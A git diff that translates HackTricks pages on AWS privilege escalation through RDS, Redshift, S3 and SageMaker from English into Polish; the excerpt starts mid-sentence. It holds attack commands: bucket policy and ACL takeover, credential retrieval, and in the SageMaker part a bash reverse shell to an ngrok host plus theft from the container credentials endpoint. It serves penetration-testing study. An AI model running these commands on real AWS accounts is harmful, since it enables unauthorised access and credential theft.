dostęp do S3** (są inne rozszerzenia, takie jak **`aws_ml`** i **`aws_lambda`**). -If you find something like **`aws_s3`** you can assume this database has **some kind of access over S3** (there are other extensions such as **`aws_ml`** and **`aws_lambda`**). - -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can see there if the **cluster has any IAM Role attached** in the field **`AssociatedRoles`**. If any, you can assume that the database was **prepared to access other AWS services**. Based on the **name of the role** (or if you can get the **permissions** of the role) you could **guess** what extra access the database has. - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Również, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`**, możesz zobaczyć, czy **klaster ma przypisaną jakąkolwiek rolę IAM** w polu **`AssociatedRoles`**. Jeśli tak, możesz założyć, że baza danych była **przygotowana do uzyskania dostępu do innych usług AWS**. Na podstawie **nazwa roli** (lub jeśli możesz uzyskać **uprawnienia** roli) możesz **zgadnąć**, jaki dodatkowy dostęp ma baza danych. +Teraz, aby **przeczytać plik w obrębie bucketu**, musisz znać pełną ścieżkę. Możesz to przeczytać za pomocą: ```sql // Create table CREATE TABLE ttemp (col TEXT); // Create s3 uri SELECT aws_commons.create_s3_uri( - 'test1234567890678', // Name of the bucket - 'data.csv', // Name of the file - 'eu-west-1' //region of the bucket +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket ) AS s3_uri \gset // Load file contents in table @@ -76,98 +71,81 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` - -If you had **raw AWS credentials** you could also use them to access S3 data with: - +Jeśli miałeś **surowe dane uwierzytelniające AWS**, mógłbyś je również wykorzystać do uzyskania dostępu do danych S3 za pomocą: ```sql SELECT aws_s3.table_import_from_s3( - 't', '', '(format csv)', - :'s3_uri', - aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` - > [!NOTE] -> Postgresql **doesn't need to change any parameter group variable** to be able to access S3. +> Postgresql **nie musi zmieniać żadnej zmiennej grupy parametrów**, aby uzyskać dostęp do S3. #### Mysql (Aurora) > [!TIP] -> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**. +> Wewnątrz mysql, jeśli uruchomisz zapytanie **`SELECT User, Host FROM mysql.user;`** i jest użytkownik o nazwie **`rdsadmin`**, możesz założyć, że jesteś w **AWS RDS mysql db**. -Inside the mysql run **`show variables;`** and if the variables such as **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, have values, you can assume the database is prepared to access S3 data. +Wewnątrz mysql uruchom **`show variables;`** i jeśli zmienne takie jak **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** mają wartości, możesz założyć, że baza danych jest przygotowana do uzyskania dostępu do danych S3. -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can check if the cluster has any **associated role**, which usually means access to AWS services). - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Ponadto, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`**, możesz sprawdzić, czy klaster ma jakąkolwiek **powiązaną rolę**, co zazwyczaj oznacza dostęp do usług AWS. +Teraz, aby **przeczytać plik w obrębie bucketu**, musisz znać pełną ścieżkę. Możesz go przeczytać za pomocą: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); SELECT * FROM ttemp; DROP TABLE ttemp; ``` - ### `rds:AddRoleToDBCluster`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBCluster` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. - +Napastnik z uprawnieniami `rds:AddRoleToDBCluster` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to umożliwić napastnikowi **dostęp do wrażliwych danych** lub modyfikację danych w obrębie instancji. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.\ -Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also. +**Potencjalny wpływ**: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS.\ +Należy zauważyć, że niektóre bazy danych wymagają dodatkowych konfiguracji, takich jak Mysql, który musi określić ARN roli w grupach parametrów. ### `rds:CreateDBInstance` -Just with this permission an attacker could create a **new instance inside a cluster** that already exists and has an **IAM role** attached. He won't be able to change the master user password, but he might be able to expose the new database instance to the internet: - +Tylko z tym uprawnieniem atakujący mógłby stworzyć **nową instancję w istniejącym klastrze**, który już istnieje i ma przypisaną **rolę IAM**. Nie będzie mógł zmienić hasła głównego użytkownika, ale może być w stanie wystawić nową instancję bazy danych do internetu: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ - --db-instance-identifier mydbinstance2 \ - --db-instance-class db.t3.medium \ - --engine aurora-postgresql \ - --db-cluster-identifier database-1 \ - --db-security-groups "string" \ - --publicly-accessible +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible ``` - ### `rds:CreateDBInstance`, `iam:PassRole` > [!NOTE] > TODO: Test -An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance. +Napastnik z uprawnieniami `rds:CreateDBInstance` i `iam:PassRole` może **utworzyć nową instancję RDS z przypisaną określoną rolą**. Napastnik może następnie potencjalnie **uzyskać dostęp do wrażliwych danych** lub zmodyfikować dane w obrębie instancji. > [!WARNING] -> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - The profile must exist in your account. -> - The profile must have an IAM role that Amazon EC2 has permissions to assume. -> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` . +> Niektóre wymagania dotyczące roli/profilu instancji do przypisania (z [**tutaj**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> - Profil musi istnieć w Twoim koncie. +> - Profil musi mieć rolę IAM, którą Amazon EC2 ma uprawnienia do przyjęcia. +> - Nazwa profilu instancji i powiązana nazwa roli IAM muszą zaczynać się od prefiksu `AWSRDSCustom`. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Potencjalny wpływ**: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. +Atakujący z uprawnieniami `rds:AddRoleToDBInstance` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to pozwolić atakującemu na **dostęp do wrażliwych danych** lub modyfikację danych w obrębie instancji. > [!WARNING] -> The DB instance must be outside of a cluster for this - +> Instancja DB musi być poza klastrem, aby to było możliwe. ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Potencjalny wpływ**: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 825c16ad6..2360898b7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -4,7 +4,7 @@ ## Redshift -For more information about RDS check: +Aby uzyskać więcej informacji o RDS, sprawdź: {{#ref}} ../aws-services/aws-redshift-enum.md @@ -12,52 +12,45 @@ For more information about RDS check: ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it: - +Dzięki tym uprawnieniom możesz uzyskać **informacje o wszystkich klastrach** (w tym nazwę i nazwę użytkownika klastra) oraz **uzyskać poświadczenia** do jego dostępu: ```bash # Get creds aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji w bazach danych. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -With these permissions you can get **info of all the clusters** and **get credentials** to access it.\ -Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has. - +Dzięki tym uprawnieniom możesz uzyskać **informacje o wszystkich klastrach** oraz **uzyskać poświadczenia** do ich dostępu.\ +Zauważ, że użytkownik postgres będzie miał **uprawnienia, które ma tożsamość IAM** użyta do uzyskania poświadczeń. ```bash # Get creds aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Potencjalny wpływ:** Znalezienie wrażliwych informacji w bazach danych. ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet): - +Możliwe jest **zmodyfikowanie hasła głównego** użytkownika wewnętrznego postgres (redshift) z aws cli (myślę, że to są potrzebne uprawnienia, ale jeszcze ich nie testowałem): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` +**Potencjalny wpływ:** Znalezienie wrażliwych informacji w bazach danych. -**Potential Impact:** Find sensitive info inside the databases. - -## Accessing External Services +## Uzyskiwanie dostępu do zewnętrznych usług > [!WARNING] -> To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned. +> Aby uzyskać dostęp do wszystkich poniższych zasobów, musisz **określić rolę do użycia**. Klaster Redshift **może mieć przypisaną listę ról AWS**, które możesz użyć **jeśli znasz ARN** lub możesz po prostu ustawić "**default**", aby użyć domyślnej przypisanej. -> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> Ponadto, jak [**wyjaśniono tutaj**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift pozwala również na łączenie ról (o ile pierwsza może przyjąć drugą), aby uzyskać dalszy dostęp, po prostu **oddzielając** je przecinkiem: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` -### Lambdas - -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like: +### Lambdy +Jak wyjaśniono w [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), możliwe jest **wywołanie funkcji lambda z redshift** za pomocą czegoś takiego: ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -65,11 +58,9 @@ STABLE LAMBDA 'lambda_function' IAM_ROLE default; ``` - ### S3 -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**: - +Jak wyjaśniono w [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), możliwe jest **czytanie i pisanie do kubełków S3**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -82,30 +73,23 @@ unload ('select * from venue') to 's3://mybucket/tickit/unload/venue_' iam_role default; ``` - ### Dynamo -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**: - +Jak wyjaśniono w [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), możliwe jest **pobranie danych z dynamodb**: ```sql copy favoritemovies from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` - > [!WARNING] -> The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located. +> Tabela Amazon DynamoDB, która dostarcza dane, musi być utworzona w tym samym regionie AWS co twój klaster, chyba że użyjesz opcji [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region), aby określić region AWS, w którym znajduje się tabela Amazon DynamoDB. ### EMR -Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +Sprawdź [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) ## References - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 0af161cbc..e51469dd1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,117 +6,112 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges. - -For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy: +Napastnik z tymi uprawnieniami do interesujących bucketów może być w stanie przejąć zasoby i eskalować uprawnienia. +Na przykład, napastnik z tymi **uprawnieniami do bucketu cloudformation** o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie w stanie przejąć wdrożenie. Dostęp można przyznać za pomocą następującej polityki: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": [ - "s3:PutBucketNotification", - "s3:GetBucketNotification", - "s3:PutObject", - "s3:GetObject" - ], - "Resource": [ - "arn:aws:s3:::cf-templates-*/*", - "arn:aws:s3:::cf-templates-*" - ] - }, - { - "Effect": "Allow", - "Action": "s3:ListAllMyBuckets", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] } ``` - -And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**. +I przejęcie jest możliwe, ponieważ istnieje **mały przedział czasowy od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Napastnik może po prostu stworzyć **funkcję lambda** w swoim koncie, która **uruchomi się, gdy zostanie wysłane powiadomienie z koszyka**, i **przejmie** **zawartość** tego **koszyka**. ![](<../../../images/image (174).png>) -The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ -For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +Moduł Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) może być użyty do zautomatyzowania tego ataku.\ +Aby uzyskać więcej informacji, sprawdź oryginalne badania: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\ -An attacker with **read access** to them might find **sensitive information** on them.\ -An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\ -These are some examples: +To są uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa przechowywania S3 do przechowywania **plików konfiguracyjnych**.\ +Napastnik z **dostępem do odczytu** do nich może znaleźć **wrażliwe informacje** w nich.\ +Napastnik z **dostępem do zapisu** do nich mógłby **zmodyfikować dane, aby nadużyć jakiejś usługi i spróbować podnieść uprawnienia**.\ +Oto kilka przykładów: -- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**. +- Jeśli instancja EC2 przechowuje **dane użytkownika w koszyku S3**, napastnik mógłby je zmodyfikować, aby **wykonać dowolny kod wewnątrz instancji EC2**. ### `s3:PutBucketPolicy` -An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets. - +Napastnik, który musi być **z tego samego konta**, w przeciwnym razie wystąpi błąd `The specified method is not allowed`, z tym uprawnieniem będzie mógł przyznać sobie więcej uprawnień do koszyka(ów), co pozwoli mu na odczyt, zapis, modyfikację, usunięcie i ujawnienie koszyków. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ## JSON giving permissions to a user and mantaining some previous root access { - "Id": "Policy1568185116930", - "Version":"2012-10-17", - "Statement":[ - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:root" - }, - "Action":"s3:ListBucket", - "Resource":"arn:aws:s3:::somebucketname" - }, - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:user/username" - }, - "Action":"s3:*", - "Resource":"arn:aws:s3:::somebucketname/*" - } - ] +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] } ## JSON Public policy example ### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } ``` - ### `s3:GetBucketAcl`, `s3:PutBucketAcl` -An attacker could abuse these permissions to **grant him more access** over specific buckets.\ -Note that the attacker doesn't need to be from the same account. Moreover the write access - +Napastnik mógłby nadużyć tych uprawnień, aby **przyznać sobie więcej dostępu** do konkretnych koszy.\ +Należy zauważyć, że napastnik nie musi pochodzić z tego samego konta. Co więcej, dostęp do zapisu ```bash # Update bucket ACL aws s3api get-bucket-acl --bucket @@ -125,27 +120,25 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -An attacker could abuse these permissions to grant him more access over specific objects inside buckets. - +Napastnik mógłby nadużyć tych uprawnień, aby przyznać sobie większy dostęp do konkretnych obiektów w obrębie kubełków. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -154,34 +147,27 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -An attacker with these privileges is expected to be able to put an Acl to an specific object version - +Atakujący z tymi uprawnieniami powinien być w stanie ustawić Acl dla konkretnej wersji obiektu. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 890686262..957274a5c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -6,68 +6,60 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -Start creating a noteboook with the IAM Role to access attached to it: - +Zacznij tworzyć notatnik z rolą IAM, aby uzyskać do niego dostęp: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ - --instance-type ml.t2.medium \ - --role-arn arn:aws:iam:::role/service-role/ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ ``` - -The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready: - +Odpowiedź powinna zawierać pole `NotebookInstanceArn`, które będzie zawierać ARN nowo utworzonego instancji notatnika. Możemy następnie użyć API `create-presigned-notebook-instance-url`, aby wygenerować URL, którego możemy użyć do uzyskania dostępu do instancji notatnika, gdy będzie gotowa: ```bash aws sagemaker create-presigned-notebook-instance-url \ - --notebook-instance-name +--notebook-instance-name ``` +Przejdź do adresu URL w przeglądarce i kliknij na \`Open JupyterLab\` w prawym górnym rogu, a następnie przewiń w dół do zakładki “Launcher” i w sekcji “Other” kliknij przycisk “Terminal”. -Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button. +Teraz możliwe jest uzyskanie dostępu do poświadczeń metadanych roli IAM. -Now It's possible to access the metadata credentials of the IAM Role. - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Potencjalny wpływ:** Privesc do roli usługi sagemaker określonej. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**. - +Jeśli na nim **już działają notatniki Jupyter** i możesz je wylistować za pomocą `sagemaker:ListNotebookInstances` (lub odkryć je w inny sposób). Możesz **wygenerować URL dla nich, uzyskać do nich dostęp i ukraść poświadczenia, jak wskazano w poprzedniej technice**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` - -**Potential Impact:** Privesc to the sagemaker service role attached. +**Potencjalny wpływ:** Privesc do roli serwisowej sagemaker. ### `sagemaker:CreateProcessingJob,iam:PassRole` -An attacker with those permissions can make **sagemaker execute a processingjob** with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an **AWS managed ECS account instance**, and **steal the credentials of the IAM role attached**. - +Napastnik z tymi uprawnieniami może sprawić, że **sagemaker wykona processingjob** z dołączoną rolą sagemaker. Napastnik może wskazać definicję kontenera, który będzie uruchomiony w **instancji konta ECS zarządzanego przez AWS**, i **ukraść poświadczenia dołączonej roli IAM**. ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ - --processing-job-name privescjob \ - --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ - --app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ - --role-arn +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ +--app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ +--role-arn # In my tests it took 10min to receive the shell curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Potencjalny wpływ:** Privesc do roli serwisu sagemaker. ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role. +Atakujący z tymi uprawnieniami będzie mógł utworzyć zadanie treningowe, **uruchamiając dowolny kontener** z **przypisaną rolą**. W związku z tym atakujący będzie mógł ukraść poświadczenia tej roli. > [!WARNING] -> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job). +> Ten scenariusz jest trudniejszy do wykorzystania niż poprzedni, ponieważ musisz wygenerować obraz Dockera, który wyśle rev shell lub poświadczenia bezpośrednio do atakującego (nie możesz wskazać polecenia startowego w konfiguracji zadania treningowego). > > ```bash -> # Create docker image +> # Utwórz obraz dockera > mkdir /tmp/rev -> ## Note that the trainning job is going to call an executable called "train" -> ## That's why I'm putting the rev shell in /bin/train -> ## Set the values of and +> ## Zauważ, że zadanie treningowe będzie wywoływać plik wykonywalny o nazwie "train" +> ## Dlatego umieszczam rev shell w /bin/train +> ## Ustaw wartości i > cat > /tmp/rev/Dockerfile < FROM ubuntu > RUN apt update && apt install -y ncat curl @@ -79,40 +71,34 @@ An attacker with those permissions will be able to create a training job, **runn > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Upload it to ECR +> # Prześlij go do ECR > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest 